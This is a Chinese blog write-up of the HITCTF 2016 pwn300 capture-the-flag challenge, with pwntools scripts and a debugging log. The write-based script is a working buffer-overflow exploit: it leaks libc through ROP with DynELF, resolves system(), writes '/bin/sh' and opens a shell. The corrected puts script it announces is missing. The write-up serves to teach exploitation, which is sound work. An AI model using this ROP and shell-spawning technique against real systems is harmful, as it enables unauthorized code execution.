[HITCTF2016](pwn)pwn300


简介 :

下载 : http://ctf.hit.edu.cn/rs/file/ctf/pwn/2016-hitctf/pwn300
nc ctf.hit.edu.cn 4011

分析 :

  1. 没有给libc , 考虑到使用 DynELF 来搜索目标主机的内存空间 , 找到对应 libc 版本并下载到本地计算偏移
  2. 可以泄露内存空间的函数有 : puts 和 write

利用脚本 :

write 函数版

#!/usr/bin/env python

from pwn import *

Io = process("pwn300")
#Io = remote("ctf.hit.edu.cn", 4011)

def leak(addr):
    junkSize = 26
    junk = "A" * junkSize
    start_addr = p32(0x08048400)
    write_plt = p32(0x080483E0)
    fd = p32(1)
    buf = p32(addr)
    count = p32(4)
    payload = junk + write_plt + start_addr + fd + buf + count
    Io.sendline(payload)
    Io.recvuntil(count)
    Io.recv(1)
    leak_data = Io.recv(4)
    print "[%s] -> [%s] = [%s]" % (hex(addr), leak_data.encode("hex"), repr(leak_data))
    return leak_data

def main():
    # leak system()
    d = DynELF(leak, elf=ELF("./pwn300"))
    system_addr = d.lookup('system', 'libc')
    print "[system()] -> [%s]" % (hex(system_addr))

    # read /bin/sh
    data_addr = 0x0804A030

    bin_sh_addr = p32(data_addr)

    junk = "A" * 26
    read_plt = p32(0x08048390)
    start_addr = p32(0x08048400)
    fd = p32(0)
    buf = p32(data_addr)
    count = p32(8)
    
    payload = junk + read_plt + start_addr + fd + buf + count
    Io.sendline(payload)

    Io.send("/bin/sh\x00")

    payload = junk + p32(system_addr) + start_addr + bin_sh_addr
    Io.sendline(payload)

    Io.interactive()

if __name__ == "__main__":
    main()

puts 函数版 :

#!/usr/bin/env python

from pwn import *

Io = process("pwn300")
# Io = remote("ctf.hit.edu.cn", 4015)

def leak(addr):
    junkSize = 26
    junk = "A" * junkSize
    start_addr = p32(0x08048400)
    puts_plt = p32(0x080483A0)
    buf = p32(addr)
    payload = junk + puts_plt + start_addr + buf
    SIGN = buf[-1]
    Io.sendline(payload)
    data = ""
    while True:
        data += Io.recv(1)
        if data.endswith("What's your name?\n"):
            break
    output_length = len("hello, ") + len(payload) + len("\n")
    temp = data[output_length: -(len("What's your name?\n") + len("\n"))]
    leak_data = temp[0:4]
    if len(leak_data) < 4:
        leak_data += "\x00" * (4 - len(temp))
    print "[%s] -> [%s] = [%s]" % (hex(addr), leak_data.encode("hex"), repr(leak_data))
    return leak_data

def main():
    Io.readuntil("What's your name?\n")
    d = DynELF(leak, elf=ELF("./pwn300"))
    system_addr = d.lookup('system', 'libc')
    print "[system()] -> [%s]" % (hex(system_addr))


if __name__ == "__main__":
    main()

后记 :

不知道为什么 , 使用 puts 函数进行利用的时候 , 是可以正常搜索目标主机的内存的 , 
但是在查找 system() 函数的地址的时候 DynELF 报错了 , 不知道为什么 , 
暂时还没有解决 , 如果有知道的小伙伴儿一定要告诉我 , 先谢谢啦 , 错误信息如下 : 

[!] Could not find executable 'pwn300' in \$PATH, using './pwn300' instead
[+] Starting local process './pwn300': pid 25340
[*] '/root/Desktop/pwn300/pwn300'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[0x8048000] -> [7f454c46] = ['\x7fELF']
[+] Loading from '/root/Desktop/pwn300/pwn300': 0xf77b0918
[0x804a004] -> [18097bf7] = ['\x18\t{\xf7']
[+] Resolving 'system' in 'libc.so': 0xf77b0918
[0x8049f14] -> [01000000] = ['\x01\x00\x00\x00']
[0x8049f1c] -> [0c000000] = ['\x0c\x00\x00\x00']
[0x8049f24] -> [0d000000] = ['\r\x00\x00\x00']
[0x8049f2c] -> [19000000] = ['\x19\x00\x00\x00']
[0x8049f34] -> [1b000000] = ['\x1b\x00\x00\x00']
[0x8049f3c] -> [1a000000] = ['\x1a\x00\x00\x00']
[0x8049f44] -> [1c000000] = ['\x1c\x00\x00\x00']
[0x8049f4c] -> [f5feff6f] = ['\xf5\xfe\xffo']
[0x8049f54] -> [05000000] = ['\x05\x00\x00\x00']
[0x8049f5c] -> [06000000] = ['\x06\x00\x00\x00']
[0x8049f64] -> [0a000000] = ['\n\x00\x00\x00']
[0x8049f6c] -> [0b000000] = ['\x0b\x00\x00\x00']
[0x8049f74] -> [15000000] = ['\x15\x00\x00\x00']
[0x8049f7c] -> [03000000] = ['\x03\x00\x00\x00']
[0x8049f80] -> [00000000] = ['\x00\x00\x00\x00']
[0x8049f78] -> [04097bf7] = ['\x04\t{\xf7']
[0xf77b0908] -> [18097bf7] = ['\x18\t{\xf7']
[0xf77b0928] -> [00000000] = ['\x00\x00\x00\x00']
[0xf77b091c] -> [040c7bf7] = ['\x04\x0c{\xf7']
[0xf77b0c04] -> [00000000] = ['\x00\x00\x00\x00']
[0xf77b0924] -> [080c7bf7] = ['\x08\x0c{\xf7']
[0xf77b0c0c] -> [780e7bf7] = ['x\x0e{\xf7']
[0xf77b0e78] -> [6c696e75] = ['linu']
[0xf77b0e7c] -> [782d6761] = ['x-ga']
[0xf77b0e80] -> [74652e73] = ['te.s']
[0xf77b0e84] -> [6f2e3100] = ['o.1\x00']
[0xf77b0c14] -> [286e78f7] = ['(nx\xf7']
[0xf7786e2c] -> [106e78f7] = ['\x10nx\xf7']
[0xf7786e10] -> [2f6c6962] = ['/lib']
[0xf7786e14] -> [33322f6c] = ['32/l']
[0xf7786e18] -> [6962632e] = ['ibc.']
[0xf7786e1c] -> [736f2e36] = ['so.6']
[0xf7786e20] -> [00000000] = ['\x00\x00\x00\x00']
[0xf7786e28] -> [00000000] = ['\x00\x00\x00\x00']
[ERROR] Must specify either a pointer into a module and/or an ELF file with a valid base address
Traceback (most recent call last):
  File "./exploit_puts.py", line 38, in <module>
    main()
  File "./exploit_puts.py", line 33, in main
    system_addr = d.lookup('system', 'libc')
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/dynelf.py", line 541, in lookup
    if lib is not None: dynlib = self._dynamic_load_dynelf(lib)
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/dynelf.py", line 645, in _dynamic_load_dynelf
    lib = DynELF(leak, libbase)
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/dynelf.py", line 166, in __init__
    log.error("Must specify either a pointer into a module and/or an ELF file with a valid base address")
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/log.py", line 416, in error
    raise PwnlibException(message % args)
pwnlib.exception.PwnlibException: Must specify either a pointer into a module and/or an ELF file with a valid base address
[*] Stopped process './pwn300' (pid 25340)

再次后记 :

我好像大概想明白了为啥这个时候会报错 , 还是因为使用 puts 的时候 leak 函数写的有问题
puts 函数当遇到 \x00 的时候就会结束输出
因此当内存中存在 \x00 , 那么输出就会被截断 , 因此获取到的数据可能会不完整
之前脚本中的逻辑是 , 如果不完整就直接全部用 \x00 来填充 , 但是这是有问题的
比如说内存中一段数据为 : \x00\x11\x22\x33
那么我的脚本跑出来的结果就是 \x00\x00\x00\x00 , 这样就会出错了
因此为了修复这个错误 , 我们应该这样做 , 当读取到的第一个字节是 \x00 的时候
为了保证数据的完整性 , 需要对下一个字节继续进行读取 , 直到四个字节全部读取完毕
这个时候才可以正常返回 , 这样才不会出错
修改之后的脚本如下 : 

puts 版本利用脚本 :


最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,084评论 6 503
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,623评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,450评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,322评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,370评论 6 390
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,274评论 1 300
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,126评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,980评论 0 275
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,414评论 1 313
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,599评论 3 334
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,773评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,470评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,080评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,713评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,852评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,865评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,689评论 2 354

推荐阅读更多精彩内容